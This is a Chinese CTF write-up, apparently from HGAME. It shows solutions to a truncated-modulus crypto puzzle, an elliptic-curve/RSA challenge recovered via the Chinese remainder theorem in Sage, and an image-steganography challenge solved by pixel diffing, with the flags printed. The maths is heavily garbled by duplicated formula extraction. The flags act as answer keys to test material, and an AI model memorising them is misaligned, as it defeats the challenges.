    f.write(str(outputs))

由于本题作者在取模的时候,漏加了一个括号,导致题目变得十分简单,简单来说,只需要取输出数组的前两个值:

arr[1] = 1137660125635315218550396257283379271126281654707140024628565116239043227654756862152080704553915295597833918194897961244358284543325452196119976528044019410771533996460493628849739976409844578782648330528014140288383
arr[2] = 1089651052473835282827308128311065828561396663364911240972959788909515306616863980465990986336276384903707375227394223034256042622812751981085694555292380388664573448420064229133421678240606441518887044132670115591301857935030769271271599367581377247424328062635288832121331371889491239538842244877683244987389057941199373965

计算

     ⌊ 
    
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      2 
     
    
   
     ÷ 
    
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      1 
     
    
   
     ⌋ 
    
   
  
    \lfloor arr_2 \div arr_1 \rfloor 
   
  
⌊arr2​÷arr1​⌋即可,因为

 
  
   
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      1 
     
    
   
     = 
    
   
     s 
    
   
     e 
    
   
     e 
    
   
     d 
    
   
     ∗ 
    
   
     a 
    
   
     + 
    
   
     ( 
    
    
    
      x 
     
    
      1 
     
    
   
       
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     n 
    
   
     ) 
    
   
     , 
    
    
    
      x 
     
    
      1 
     
    
   
     ∈ 
    
   
     [ 
    
   
     − 
    
    
    
      2 
     
    
      340 
     
    
   
     , 
    
    
    
      2 
     
    
      340 
     
    
   
     ] 
    
   
  
    arr_1 = seed * a + (x_1\ Mod\ n), x_1 \in [-2^{340}, 2^{340}] 
   
  
arr1​=seed∗a+(x1​ Mod n),x1​∈[−2340,2340]

 
  
   
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      2 
     
    
   
     = 
    
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      1 
     
    
   
     ∗ 
    
   
     a 
    
   
     + 
    
   
     ( 
    
    
    
      x 
     
    
      2 
     
    
   
       
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     n 
    
   
     ) 
    
   
     , 
    
    
    
      x 
     
    
      2 
     
    
   
     ∈ 
    
   
     [ 
    
   
     − 
    
    
    
      2 
     
    
      340 
     
    
   
     , 
    
    
    
      2 
     
    
      340 
     
    
   
     ] 
    
   
  
    arr_2 = arr_1 * a + (x_2\ Mod\ n), x_2 \in [-2^{340}, 2^{340}] 
   
  
arr2​=arr1​∗a+(x2​ Mod n),x2​∈[−2340,2340]

因为

      x 
     
    
      n 
     
    
   
     < 
    
   
     n 
    
   
  
    x_n \lt n 
   
  
xn​<n,所以  
 
  
   
    
    
      x 
     
    
      n 
     
    
   
       
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     n 
    
   
     = 
    
    
    
      x 
     
    
      n 
     
    
   
  
    x_n\ Mod\ n = x_n 
   
  
xn​ Mod n=xn​

 
  
   
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      1 
     
    
   
     = 
    
   
     s 
    
   
     e 
    
   
     e 
    
   
     d 
    
   
     ∗ 
    
   
     a 
    
   
     + 
    
    
    
      x 
     
    
      1 
     
    
   
  
    arr_1 = seed * a + x_1 
   
  
arr1​=seed∗a+x1​

 
  
   
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      2 
     
    
   
     = 
    
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      1 
     
    
   
     ∗ 
    
   
     a 
    
   
     + 
    
    
    
      x 
     
    
      2 
     
    
   
  
    arr_2 = arr_1 * a + x_2 
   
  
arr2​=arr1​∗a+x2​

 
  
   
   
     a 
    
   
     r 
    
    
    
      r 
     
    
      2 
     
    
   
     = 
    
   
     ( 
    
   
     s 
    
   
     e 
    
   
     e 
    
   
     d 
    
   
     ∗ 
    
   
     a 
    
   
     + 
    
    
    
      x 
     
    
      1 
     
    
   
     ) 
    
   
     ∗ 
    
   
     a 
    
   
     + 
    
    
    
      x 
     
    
      2 
     
    
   
     , 
    
    
    
      x 
     
    
      2 
     
    
   
     ∈ 
    
   
     [ 
    
   
     − 
    
    
    
      2 
     
    
      340 
     
    
   
     , 
    
    
    
      2 
     
    
      340 
     
    
   
     ] 
    
   
  
    arr_2 = (seed * a + x_1) * a + x_2, x_2 \in [-2^{340}, 2^{340}] 
   
  
arr2​=(seed∗a+x1​)∗a+x2​,x2​∈[−2340,2340]

此时

       a 
      
     
       r 
      
      
      
        r 
       
      
        2 
       
      
     
     
     
       a 
      
     
       r 
      
      
      
        r 
       
      
        1 
       
      
     
    
   
     = 
    
    
     
     
       ( 
      
     
       s 
      
     
       e 
      
     
       e 
      
     
       d 
      
     
       ∗ 
      
     
       a 
      
     
       + 
      
      
      
        x 
       
      
        1 
       
      
     
       ) 
      
     
       ∗ 
      
     
       a 
      
     
       + 
      
      
      
        x 
       
      
        2 
       
      
     
     
     
       s 
      
     
       e 
      
     
       e 
      
     
       d 
      
     
       ∗ 
      
     
       a 
      
     
       + 
      
      
      
        x 
       
      
        1 
       
      
     
    
   
     = 
    
   
     a 
    
   
     + 
    
    
     
     
       x 
      
     
       2 
      
     
     
     
       s 
      
     
       e 
      
     
       e 
      
     
       d 
      
     
       ∗ 
      
     
       a 
      
     
       + 
      
      
      
        x 
       
      
        1 
       
      
     
    
   
  
    \frac{arr_2}{arr_1}=\frac{(seed * a + x_1) * a + x_2}{seed * a + x_1}=a+\frac{x_2}{seed * a + x_1} 
   
  
arr1​arr2​​=seed∗a+x1​(seed∗a+x1​)∗a+x2​​=a+seed∗a+x1​x2​​

又因为

     s 
    
   
     e 
    
   
     e 
    
   
     d 
    
   
     = 
    
   
     r 
    
   
     a 
    
   
     n 
    
   
     d 
    
   
     i 
    
   
     n 
    
   
     t 
    
   
     ( 
    
   
     1 
    
   
     , 
    
   
     n 
    
   
     − 
    
   
     1 
    
   
     ) 
    
   
     , 
    
   
     n 
    
   
     > 
    
    
    
      2 
     
    
      360 
     
    
   
  
    seed=randint(1, n-1), n>2^{360} 
   
  
seed=randint(1,n−1),n>2360

所以,存在很大的可能,满足

     s 
    
   
     e 
    
   
     e 
    
   
     d 
    
   
     > 
    
    
    
      x 
     
    
      1 
     
    
   
  
    seed > x_1 
   
  
seed>x1​

因此,基本上可以确定,

     s 
    
   
     e 
    
   
     e 
    
   
     d 
    
   
     ∗ 
    
   
     a 
    
   
     + 
    
    
    
      x 
     
    
      1 
     
    
   
     > 
    
    
    
      x 
     
    
      2 
     
    
   
  
    seed*a+x_1>x_2 
   
  
seed∗a+x1​>x2​,即 
 
  
   
    
     
     
       x 
      
     
       2 
      
     
     
     
       s 
      
     
       e 
      
     
       e 
      
     
       d 
      
     
       ∗ 
      
     
       a 
      
     
       + 
      
      
      
        x 
       
      
        1 
       
      
     
    
   
     < 
    
   
     1 
    
   
  
    \frac{x_2}{seed * a + x_1}<1 
   
  
seed∗a+x1​x2​​<1

整除得到flag:

hgame{W0w_you_know_the_hidden_number_problem}

[CRYPTO] ECRSA

本题题目代码如下:

from sage.allimport*from sage.all_cmdline import*from Crypto.Util.number import*from secret import flag

Nbits =512
x = bytes_to_long(flag)
f =open('./output','w')defgen_pubkey(Nbits):
    p = getPrime(Nbits //2)
    q = getPrime(Nbits //2)
    n = p*q
    whileTrue:
        a = getRandomInteger(Nbits //2)
        b = getRandomInteger(Nbits //2)if gcd(4*a**3+27*b**2, n)==1:break
    E = EllipticCurve(Zmod(n),[a, b])
    e = getPrime(64)
    f.write(f"p={p}\nq={q}\n")return n, E, e

n, E, e = gen_pubkey(Nbits)
pt = E.lift_x(Integer(x))
ct = pt * e
f.write(f"n = {n}\na = {E.a4()}\nb = {E.a6()}\ne = {e}\n")
f.write(f"ciphertext = {long_to_bytes(int(ct.xy()[0]))}\n")

已知信息:

p =115192265954802311941399019598810724669437369433680905425676691661793518967453
q =109900879774346908739236130854229171067533592200824652124389936543716603840487# n = p * q
n =12659731371633323406361071735480743870942884407511647144758055911931321534333057725377899993936046070028289182446615763391740446071787318153462098556669611
a =34573016245861396068378040882622992245754693028152290874131112955018884485688
b =103282137133820948206682036569671566996381438254897510344289164039717355513886
e =11415307674045871669# ciphertext = b'f\xb1\xae\x08`\xe8\xeb\x14\x8a\x87\xd6\x18\x82\xaf1q\xe4\x84\xf0\x87\xde\xedF\x99\xe0\xf7\xdcH\x9ai\x04[\x8b\xbbHR\xd6\xa0\xa2B\x0e\xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffKP\xcc\x00\x907\xf3\xea'
cipher =5378524437009518839112103581484521575801169404987837300959984214542709038676856596473597472098329866932106236703753833875049687476896652097889558230201322

先将

ciphertext

转成

long

,这个是

*e

后的x坐标,现在需要求出y坐标,直接使用

lift_x

函数由于数值过大,无法计算,因此可以使用以下代码进行计算:

R.<y>= Zmod(n)[]
f = x^3+ a*x + b - y^2print(f.roots())

但是,由于

     n 
    
   
     = 
    
   
     p 
    
   
     ∗ 
    
   
     q 
    
   
  
    n=p*q 
   
  
n=p∗q(p、q为素数),无法直接计算出结果,需要拆开计算。

构思的计算过程如下:

      y 
     
    
      2 
     
    
   
     ≡ 
    
    
    
      x 
     
    
      3 
     
    
   
     + 
    
   
     a 
    
   
     x 
    
   
     + 
    
   
     b 
    
   
       
    
   
     ( 
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     n 
    
   
     ) 
    
   
     , 
    
   
     n 
    
   
     = 
    
   
     p 
    
   
     ∗ 
    
   
     q 
    
   
  
    y^2\equiv x^3+ax+b\ (Mod\ n), n=p*q 
   
  
y2≡x3+ax+b (Mod n),n=p∗q

 
  
   
   
     { 
    
    
     
      
       
        
         
         
           y 
          
         
           2 
          
         
        
          ≡ 
         
         
         
           x 
          
         
           3 
          
         
        
          + 
         
        
          a 
         
        
          x 
         
        
          + 
         
        
          b 
         
        
            
         
        
          ( 
         
        
          M 
         
        
          o 
         
        
          d 
         
        
            
         
        
          p 
         
        
          ) 
         
        
          , 
         
        
       
      
     
     
      
       
        
         
         
           y 
          
         
           2 
          
         
        
          ≡ 
         
         
         
           x 
          
         
           3 
          
         
        
          + 
         
        
          a 
         
        
          x 
         
        
          + 
         
        
          b 
         
        
            
         
        
          ( 
         
        
          M 
         
        
          o 
         
        
          d 
         
        
            
         
        
          q 
         
        
          ) 
         
        
          . 
         
        
       
      
     
    
   
  
    \left\{ \begin{aligned} y^2\equiv x^3 + ax + b\ (Mod\ p), \\ y^2\equiv x^3 + ax + b\ (Mod\ q). \end{aligned} \right. 
   
  
{y2≡x3+ax+b (Mod p),y2≡x3+ax+b (Mod q).​

     x 
    
   
  
    x 
   
  
x代入两式,求得 
 
  
   
    
    
      y 
     
    
      1 
     
    
   
  
    y_1 
   
  
y1​、 
 
  
   
    
    
      y 
     
    
      2 
     
    
   
  
    y_2 
   
  
y2​,有

 
  
   
   
     { 
    
    
     
      
       
        
         
         
           y 
          
         
           1 
          
         
           2 
          
         
        
          ≡ 
         
         
         
           y 
          
         
           2 
          
         
        
          ( 
         
        
          M 
         
        
          o 
         
        
          d 
         
        
            
         
        
          p 
         
        
          ) 
         
        
          , 
         
        
       
      
     
     
      
       
        
         
         
           y 
          
         
           2 
          
         
           2 
          
         
        
          ≡ 
         
         
         
           y 
          
         
           2 
          
         
        
            
         
        
          ( 
         
        
          M 
         
        
          o 
         
        
          d 
         
        
            
         
        
          q 
         
        
          ) 
         
        
          . 
         
        
       
      
     
    
   
  
    \left\{ \begin{aligned} y_1^2\equiv y^2 (Mod\ p), \\ y_2^2\equiv y^2\ (Mod\ q). \end{aligned} \right. 
   
  
{y12​≡y2(Mod p),y22​≡y2 (Mod q).​

对于

      y 
     
    
      1 
     
    
   
  
    y_1 
   
  
y1​,有

 
  
   
    
    
      y 
     
    
      1 
     
    
      2 
     
    
   
     = 
    
    
    
      y 
     
    
      2 
     
    
   
     + 
    
   
     k 
    
   
     p 
    
   
  
    y_1^2 = y^2 + kp 
   
  
y12​=y2+kp

 
  
   
   
     ( 
    
    
    
      y 
     
    
      1 
     
    
   
     + 
    
   
     y 
    
   
     ) 
    
   
     ( 
    
    
    
      y 
     
    
      1 
     
    
   
     − 
    
   
     y 
    
   
     ) 
    
   
     = 
    
   
     k 
    
   
     p 
    
   
  
    (y_1+y)(y_1-y)=kp 
   
  
(y1​+y)(y1​−y)=kp

所以

      y 
     
    
      1 
     
    
   
     ≡ 
    
   
     y 
    
   
       
    
   
     ( 
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     p 
    
   
     ) 
    
   
  
    y_1 \equiv y\ (Mod\ p) 
   
  
y1​≡y (Mod p)

同理

      y 
     
    
      2 
     
    
   
     ≡ 
    
   
     y 
    
   
       
    
   
     ( 
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     q 
    
   
     ) 
    
   
  
    y_2 \equiv y\ (Mod\ q) 
   
  
y2​≡y (Mod q)

令前式中

      y 
     
    
      1 
     
    
   
  
    y_1 
   
  
y1​、 
 
  
   
    
    
      y 
     
    
      2 
     
    
   
  
    y_2 
   
  
y2​对应的 
 
  
   
   
     k 
    
   
  
    k 
   
  
k为 
 
  
   
    
    
      k 
     
    
      1 
     
    
   
  
    k_1 
   
  
k1​、 
 
  
   
    
    
      k 
     
    
      2 
     
    
   
  
    k_2 
   
  
k2​

 
  
   
   
     y 
    
   
     = 
    
    
    
      k 
     
    
      1 
     
    
   
     p 
    
   
     + 
    
    
    
      y 
     
    
      1 
     
    
   
     = 
    
    
    
      k 
     
    
      2 
     
    
   
     q 
    
   
     + 
    
    
    
      y 
     
    
      2 
     
    
   
  
    y=k_1p+y_1=k_2q+y_2 
   
  
y=k1​p+y1​=k2​q+y2​

 
  
   
    
    
      k 
     
    
      1 
     
    
   
     p 
    
   
     = 
    
    
    
      k 
     
    
      2 
     
    
   
     q 
    
   
     + 
    
    
    
      y 
     
    
      2 
     
    
   
     − 
    
    
    
      y 
     
    
      1 
     
    
   
  
    k_1p=k_2q+y_2-y_1 
   
  
k1​p=k2​q+y2​−y1​

     p 
    
   
  
    p 
   
  
p对 
 
  
   
   
     q 
    
   
  
    q 
   
  
q取逆为 
 
  
   
    
    
      p 
     
     
     
       − 
      
     
       1 
      
     
    
   
  
    p^{-1} 
   
  
p−1,有

 
  
   
    
    
      p 
     
     
     
       − 
      
     
       1 
      
     
    
   
     p 
    
   
     ≡ 
    
   
     1 
    
   
       
    
   
     ( 
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     q 
    
   
     ) 
    
   
  
    p^{-1}p \equiv 1\ (Mod\ q) 
   
  
p−1p≡1 (Mod q)

 
  
   
   
     ( 
    
    
    
      y 
     
    
      2 
     
    
   
     − 
    
    
    
      y 
     
    
      1 
     
    
   
     ) 
    
    
    
      p 
     
     
     
       − 
      
     
       1 
      
     
    
   
     p 
    
   
     ≡ 
    
    
    
      y 
     
    
      2 
     
    
   
     − 
    
    
    
      y 
     
    
      1 
     
    
   
       
    
   
     ( 
    
   
     M 
    
   
     o 
    
   
     d 
    
   
       
    
   
     q 
    
   
     ) 
    
   
  
    (y_2-y_1)p^{-1}p\equiv y_2 - y_1\ (Mod\ q) 
   
  
(y2​−y1​)p−1p≡y2​−y1​ (Mod q)

故取

      k 
     
    
      1 
     
    
   
     = 
    
   
     ( 
    
    
    
      y 
     
    
      2 
     
    
   
     − 
    
    
    
      y 
     
    
      1 
     
    
   
     ) 
    
    
    
      p 
     
     
     
       − 
      
     
       1 
      
     
    
   
  
    k_1=(y_2-y_1)p^{-1} 
   
  
k1​=(y2​−y1​)p−1

此时

      y 
     
     
      
     
       ′ 
      
     
    
   
     = 
    
   
     ( 
    
    
    
      y 
     
    
      2 
     
    
   
     − 
    
    
    
      y 
     
    
      1 
     
    
   
     ) 
    
    
    
      p 
     
     
     
       − 
      
     
       1 
      
     
    
   
     p 
    
   
     + 
    
    
    
      y 
     
    
      1 
     
    
   
  
    y^{'}=(y_2-y_1)p^{-1}p+y_1 
   
  
y′=(y2​−y1​)p−1p+y1​

     n 
    
   
  
    n 
   
  
n取模后,即可求得 
 
  
   
   
     y 
    
   
  
    y 
   
  
y

程序实现过程如下:

首先,先计算

     Z 
    
   
     m 
    
   
     o 
    
   
     d 
    
   
     ( 
    
   
     p 
    
   
     ) 
    
   
  
    Zmod(p) 
   
  
Zmod(p)域内的 
 
  
   
    
    
      y 
     
    
      1 
     
    
   
  
    y_1 
   
  
y1​,再计算 
 
  
   
   
     Z 
    
   
     m 
    
   
     o 
    
   
     d 
    
   
     ( 
    
   
     q 
    
   
     ) 
    
   
  
    Zmod(q) 
   
  
Zmod(q)域内的 
 
  
   
    
    
      y 
     
    
      2 
     
    
   
  
    y_2 
   
  
y2​:
R.<y>= Zmod(p)[]
f = x^3+ a*x + b - y^2print(f.roots())

R.<y>= Zmod(q)[]
f = x^3+ a*x + b - y^2print(f.roots())

解得

Mod p:
[(60316725576536008544362819709695572607167462139249474498633602356218818183892, 1), (54875540378266303397036199889115152062269907294431430927043089305574700783561, 1)]
Mod q:
[(105823306941028179927395299019710676471649082172062645166592994997652899394314, 1), (4077572833318728811840831834518494595884510028762006957796941546063704446173, 1)]

计算

     y 
    
   
  
    y 
   
  
y
y1 =54875540378266303397036199889115152062269907294431430927043089305574700783561
y2 =4077572833318728811840831834518494595884510028762006957796941546063704446173
t =(y2 - y1)* invert(p, q)
t = t * p + y1
y = t % n
print(y)# 10199065317034107457489102957880808079053249053270397152093884588819660579939295485085835753530135777025454703813951607770954939197597311157418124430298722

这样,我们就得到了

     c 
    
   
     i 
    
   
     p 
    
   
     h 
    
   
     e 
    
   
     r 
    
   
  
    cipher 
   
  
cipher对应的 
 
  
   
   
     y 
    
   
  
    y 
   
  
y。

接下来,分析椭圆曲线,

     Q 
    
   
     = 
    
   
     e 
    
   
     P 
    
   
  
    Q=eP 
   
  
Q=eP,我们已知 
 
  
   
   
     Q 
    
   
  
    Q 
   
  
Q和 
 
  
   
   
     e 
    
   
  
    e 
   
  
e,且 
 
  
   
   
     e 
    
   
  
    e 
   
  
e为素数,需要求 
 
  
   
   
     P 
    
   
  
    P 
   
  
P,大致思路如下:

已知

     P 
    
   
  
    P 
   
  
P为生成元的群的阶为 
 
  
   
   
     n 
    
   
  
    n 
   
  
n,即 
 
  
   
   
     n 
    
   
     P 
    
   
     = 
    
   
     0 
    
   
  
    nP=0 
   
  
nP=0

 
  
   
   
     e 
    
   
  
    e 
   
  
e与 
 
  
   
   
     n 
    
   
  
    n 
   
  
n互素时,设 
 
  
   
    
    
      e 
     
     
     
       − 
      
     
       1 
      
     
    
   
  
    e^{-1} 
   
  
e−1为 
 
  
   
   
     e 
    
   
  
    e 
   
  
e对 
 
  
   
   
     n 
    
   
  
    n 
   
  
n的逆,有

 
  
   
    
    
      e 
     
     
     
       − 
      
     
       1 
      
     
    
   
     e 
    
   
     = 
    
   
     k 
    
   
     n 
    
   
     + 
    
   
     1 
    
   
  
    e^{-1}e=kn+1 
   
  
e−1e=kn+1

 
  
   
    
    
      e 
     
     
     
       − 
      
     
       1 
      
     
    
   
     Q 
    
   
     = 
    
    
    
      e 
     
     
     
       − 
      
     
       1 
      
     
    
   
     e 
    
   
     P 
    
   
     = 
    
   
     k 
    
   
     n 
    
   
     P 
    
   
     + 
    
   
     P 
    
   
     = 
    
   
     P 
    
   
  
    e^{-1}Q=e^{-1}eP=knP+P=P 
   
  
e−1Q=e−1eP=knP+P=P

所以

     P 
    
   
     = 
    
    
    
      e 
     
     
     
       − 
      
     
       1 
      
     
    
   
     Q 
    
   
  
    P=e^{-1}Q 
   
  
P=e−1Q

程序实现过程如下:

代入椭圆曲线求阶。此处由于

     n 
    
   
  
    n 
   
  
n不是素数,因此,求阶也用上面相同的方法,先在
Zmod(p)

定义椭圆曲线,求阶

     o 
    
   
     r 
    
   
     d 
    
   
     e 
    
   
     r 
    
   
     1 
    
   
  
    order1 
   
  
order1,再在
Zmod(q)

定义椭圆曲线,求阶

     o 
    
   
     r 
    
   
     d 
    
   
     e 
    
   
     r 
    
   
     2 
    
   
  
    order2 
   
  
order2:

**注:这里

Sagemath

求阶很慢,大概要一两分钟才能算出,千万不要以为算不出来停止程序!**

E = EllipticCurve(Zmod(p),[a, b])print(E(x, y).order())
E = EllipticCurve(Zmod(q),[a, b])print(E(x, y).order())# 57596132977401155970699509799405362334879094977438851681966286670288183598942# 109900879774346908739236130854229171066947175298920763282658606446284241695225

接下来,对

     e 
    
   
  
    e 
   
  
e关于 
 
  
   
   
     o 
    
   
     r 
    
   
     d 
    
   
     e 
    
   
     r 
    
   
     1 
    
   
  
    order1 
   
  
order1和 
 
  
   
   
     o 
    
   
     r 
    
   
     d 
    
   
     e 
    
   
     r 
    
   
     2 
    
   
  
    order2 
   
  
order2求逆,得到 
 
  
   
    
    
      e 
     
    
      1 
     
     
     
       − 
      
     
       1 
      
     
    
   
  
    e_1^{-1} 
   
  
e1−1​和 
 
  
   
    
    
      e 
     
    
      2 
     
     
     
       − 
      
     
       1 
      
     
    
   
  
    e_2^{-1} 
   
  
e2−1​:
order1 =57596132977401155970699509799405362334879094977438851681966286670288183598942print(invert(e, order1))
order2 =109900879774346908739236130854229171066947175298920763282658606446284241695225print(invert(e, order2))# 52181148238999826269997348521669498523973297552529864092154146722475434456587# 28860665691012025562690160190006496899036723712471327303075809420498864404529

将点

     Q 
    
   
  
    Q 
   
  
Q分别乘以 
 
  
   
    
    
      e 
     
    
      1 
     
     
     
       − 
      
     
       1 
      
     
    
   
  
    e_1^{-1} 
   
  
e1−1​和 
 
  
   
    
    
      e 
     
    
      2 
     
     
     
       − 
      
     
       1 
      
     
    
   
  
    e_2^{-1} 
   
  
e2−1​,得到 
 
  
   
    
    
      x 
     
    
      1 
     
    
   
  
    x_1 
   
  
x1​、 
 
  
   
    
    
      x 
     
    
      2 
     
    
   
  
    x_2 
   
  
x2​:
E = EllipticCurve(Zmod(p),[a, b])
e_1 =52181148238999826269997348521669498523973297552529864092154146722475434456587print(E(x, y)*e_1)
E = EllipticCurve(Zmod(q),[a, b])
e_2 =28860665691012025562690160190006496899036723712471327303075809420498864404529print(E(x, y)*e_2)# (48494309904806728376959072180812326156563261489632316320588491082808406223560 : 44195684491268406285064620278061419107453570569873836087529644869465508326701 : 1)# (60096144340662420409544377664399834868314629713356791451054313519444106083801 : 108948218400988301261222221522876031794044560830571857879909922751073979018293 : 1)

      x 
     
    
      1 
     
    
   
  
    x_1 
   
  
x1​与 
 
  
   
    
    
      x 
     
    
      2 
     
    
   
  
    x_2 
   
  
x2​代入先前的计算式,得到 
 
  
   
   
     x 
    
   
  
    x 
   
  
x:
x1 =48494309904806728376959072180812326156563261489632316320588491082808406223560
x2 =60096144340662420409544377664399834868314629713356791451054313519444106083801
t =(x2 - x1)* invert(p, q)
t = t * p + x1
x = t % n
print(long_to_bytes(x))# b'hgame{ECC_4nd_RSA_also_can_be_combined}'

得到flag:

hgame{ECC_4nd_RSA_also_can_be_combined}

后记(简化求y的步骤)

经过后期验证,发现其实如果将椭圆曲线的域设置在

Zmod(p)

Zmod(q)

,可以直接用

lift_x

函数获得对应的

     y 
    
   
  
    y 
   
  
y值:
E = EllipticCurve(Zmod(p),[a, b])print(E.lift_x(Integer(x)))
E = EllipticCurve(Zmod(q),[a, b])print(E.lift_x(Integer(x)))# (61423820596960499948966299789412354362086674189471142391989200387209265786284 : 60316725576536008544362819709695572607167462139249474498633602356218818183892 : 1)# (106017678275557872173671551321222618190193126754512628899301773486474824272398 : 4077572833318728811840831834518494595884510028762006957796941546063704446173 : 1)

笔者在求解的时候算出来的

     y 
    
   
  
    y 
   
  
y有两个值,和
lift_x

函数得到的结果有些不同,但是不影响最终计算结果。

[MISC] New_Type_Steganography

本题解法可能一定不是预期解
(因为这太蠢了,答对都是靠的运气)

后记:若将原有的方法优化一下,可以十分接近正解,就不用靠运气了~

先前使用纯黑和纯白图片测试,发现存在一些规律:

  • 该隐写算法在隐写之前,首先会将输入的字符串转换为二进制(大抵使用的是bytes_to_long函数)
  • 隐写全部作用于RGB的G通道
  • 隐写后的G相比隐写前的相差4(具体正负规律不太清楚,推测可能与二进制01有关)
  • 如果图片存在接近纯白或纯黑的像素点(abs(G-4)<4),则这个点很可能不进行隐写
  • 隐写存在某些规律,顺序不同隐写结果不同(这点很关键)

笔者认为,要使这道题的解题成为可能,首先必须得找到原图。

笔者备份的原图可从该链接下载:https://od.vvbbnn00.cn/t/izzbLS

将图片上传至https://saucenao.com/,查询后发现这张图来源于PIXIV:https://www.pixiv.net/artworks/97558083,下载**原图**(一定要是原图,不然可能会无法进行后续比对!),先与

flag.png

进行初步比较:
c1f387a04c5576855b5548e77d0f9968.png
可以看见,虽然图像边缘与flag图有些许差异,但是差别很小,而且大多数不在G通道,而且将该图以空文本隐写一次,这些差异会消失,因此可以忽略不计。
于是,我们便拿到了原图,编写程序与flag图比对:

defdiff(img1: Image, img2: Image, show=False):
    diff_set =set()
    w, h = img1.size
    cnt =0for x inrange(w):for y inrange(h):
            cnt +=1if img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")if show:print(f"{x}{y}{cnt}{dif}")return diff_set

输出结果如下:

16 457 14858 4
16 660 15061 4
20 344 18345 4
20 437 18438 4
20 755 18756 4
44 803 40404 -4
44 899 40500 -4
60 312 54313 4
62 515 56316 4
85 49 76550 -4
88 878 80079 -4
92 343 83144 4
93 247 83948 4
95 241 85742 4
112 491 101292 4
121 633 109534 4
122 733 110534 4
129 795 116896 -4
147 826 133127 -4
154 367 138968 4
156 182 140583 4
162 869 146670 -4
170 743 153744 4
184 341 165942 4
187 119 168420 4
191 578 172479 4
199 49 179150 -4
209 328 188429 4
219 259 197360 4
220 705 198706 4
221 185 199086 4
222 560 200361 4
228 679 205880 4
231 404 208305 4
234 335 210936 4
237 159 213460 4
238 186 214387 4
245 516 221017 4
246 633 222034 4
247 695 222996 4
252 57 226858 -4
265 534 239035 4
271 882 244783 -4
281 216 253117 4
282 758 254559 4
296 154 266555 4
297 214 267515 4
298 510 268711 4
306 148 275549 4
309 486 278587 4
317 343 285644 4
319 830 287931 -4
324 316 291917 4
328 388 295589 4
330 158 297159 4
337 429 303730 4
344 179 309780 4
347 136 312437 4
354 530 319131 4
362 249 326050 -4
369 408 332509 4
371 310 334211 4
390 378 351379 4
393 766 354467 4
406 478 365879 -4
416 824 375225 -4
421 279 379180 4
426 409 383810 4
428 289 385490 -4
428 681 385882 -4
436 858 393259 4
440 268 396269 -4
447 640 402941 4
448 610 403811 4
466 711 420112 4
470 521 423522 -4
471 280 424181 -4
479 537 431638 -4
491 88 441989 -4
493 51 443752 -4
493 442 444143 -4
516 276 464677 -4
521 427 469328 -4
522 412 470213 4
524 614 472215 4
525 890 473391 -4
530 380 477381 4
536 278 482679 4
543 294 488995 4
545 481 490982 -4
554 87 498688 4
559 443 503544 -4
567 704 511005 4
573 86 515787 -4
597 491 537792 -4
602 895 542696 4
611 56 549957 -4
616 467 554868 -4
617 62 555363 -4
641 724 577625 4
654 876 589477 4
662 272 596073 4
662 596 596397 -4
664 328 597929 4
674 50 606651 -4
682 495 614296 -4
693 195 623896 -4
707 573 636874 -4
716 862 645263 4
731 842 658743 4
736 103 662504 -4
788 646 709847 -4
831 728 748629 4
840 651 756652 -4
848 638 763839 -4
865 686 779187 -4
873 632 786333 -4
875 225 787726 4
877 531 789832 4
878 865 791066 -4
887 32 798333 -4
903 819 813520 -4
909 558 818659 4
918 618 826819 4
919 670 827771 -4
921 236 829137 4
922 187 829988 4
930 816 837817 -4
938 518 844719 4
956 112 860513 4
959 659 863760 4
961 829 865730 -4
990 733 891734 4
1008 425 907626 4
1010 430 909431 4
1021 638 919539 4
1030 343 927344 4
1030 607 927608 4
1038 245 934446 4
1041 853 937754 -4
1053 380 948081 4
1068 835 962036 -4
1103 639 993340 4
1108 505 997706 4
1122 541 1010342 4
1125 221 1012722 4
1125 232 1012733 4
1139 64 1025165 -4
1143 55 1028756 -4
1144 895 1030496 -4
1145 129 1030630 4
1147 481 1032782 4
1162 242 1046043 4
1172 457 1055258 4
1184 664 1066265 4

差异点很多,所以暂时先放着。
笔者先后分别测试了隐写内容

0

1

01

10

h

hg

hga

hgame

0 0b110000
309 486 278587 4
532 575 479376 4
765 633 689134 -4

1 0b110001
309 486 278587 4
532 575 479376 4
765 633 689134 -4
933 632 840333 4

01 0b11000000110001
93 247 83948 4
309 486 278587 4
426 409 383810 4
428 681 385882 -4
532 575 479376 4
765 633 689134 -4

10 0b11000100110000
309 486 278587 4
426 409 383810 4
428 681 385882 -4
532 575 479376 4
765 633 689134 -4
933 632 840333 4

h 0b1101000
309 486 278587 4
664 328 597929 4

hg 0b110100001100111
93 247 83947 4
222 560 200360 4
271 882 244782 -4
309 486 278586 4
369 408 332508 4
426 409 383809 4
428 681 385881 -4
554 87 498687 4
664 328 597928 4

hga 0b11010000110011101100001
93 247 83948 4
222 560 200361 4
271 882 244783 -4
309 486 278587 4
354 530 319131 4
369 408 332509 4
426 409 383810 4
428 681 385882 -4
493 442 444143 -4
554 87 498688 4
664 328 597929 4
887 32 798333 -4
903 819 813520 -4
1103 639 993340 4
1144 895 1030496 -4

hgame 0b110100001100111011000010110110101100101
93 247 83948 4
121 633 109534 4
222 560 200361 4
247 695 222996 4
271 882 244783 -4
309 486 278587 4
354 530 319131 4
369 408 332509 4
406 478 365879 -4
426 409 383810 4
428 681 385882 -4
493 442 444143 -4
524 614 472215 4
554 87 498688 4
664 328 597929 4
736 103 662504 -4
831 728 748629 4
887 32 798333 -4
903 819 813520 -4
930 816 837817 -4
956 112 860513 4
961 829 865730 -4
1038 245 934446 4
1103 639 993340 4
1144 895 1030496 -4

